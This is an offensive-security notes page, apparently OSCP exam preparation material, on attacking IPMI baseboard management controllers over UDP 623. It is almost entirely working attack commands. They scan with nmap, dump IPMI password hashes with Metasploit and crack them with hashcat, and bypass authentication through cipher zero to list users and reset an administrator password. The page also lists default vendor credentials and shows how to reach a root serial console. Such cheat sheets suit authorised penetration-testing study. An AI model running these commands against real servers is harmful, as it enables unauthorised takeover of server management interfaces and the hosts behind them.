Howlsec
HOWLSEC
offensive security
// notes
📡

Ipmi (Udp 623)

Notes from oscp.adot8.com — services.

#services#adot8
source · oscp.adot8.com · services/ipmi-less-than-udp-623-greater-than ↗

IPMI <udp 623>

Out-of-band server management (iDRAC, iLO, IMM, SuperMicro). Almost always broken — dump the auth hash BEFORE auth.

Nmap

🐺 howlsec@kali
01nmap -sU -p623 --script ipmi-version,ipmi-cipher-zero $ip

Metasploit — two OSCP-worthy modules

🐺 howlsec@kali
01use auxiliary/scanner/ipmi/ipmi_version

02use auxiliary/scanner/ipmi/ipmi_dumphashes    # CVE-2013-4786

03use auxiliary/scanner/ipmi/ipmi_cipher_zero   # auth bypass

ipmi_dumphashes returns hashcat -m 7300 format:

🐺 howlsec@kali
01hashcat -m 7300 ipmi.hash /usr/share/wordlists/rockyou.txt

Cipher-zero login (no password!)

🐺 howlsec@kali
01sudo apt install ipmitool

02ipmitool -I lanplus -C 0 -H $ip -U Administrator -P '' user list

03ipmitool -I lanplus -C 0 -H $ip -U Administrator -P '' user set password 2 'newpass!'

Default creds

🐺 howlsec@kali
01ipmitool -I lanplus -H $ip -U ADMIN -P ADMIN user list      # SuperMicro

02ipmitool -I lanplus -H $ip -U root  -P calvin user list     # Dell iDRAC

03ipmitool -I lanplus -H $ip -U Administrator -P admin user list

Post-exploitation → OS shell

Once BMC is yours, SSH to the BMC and get the OS console:

🐺 howlsec@kali
01ssh admin@$ip

02> sol activate

You now have the physical serial console — often a root shell on Linux hosts.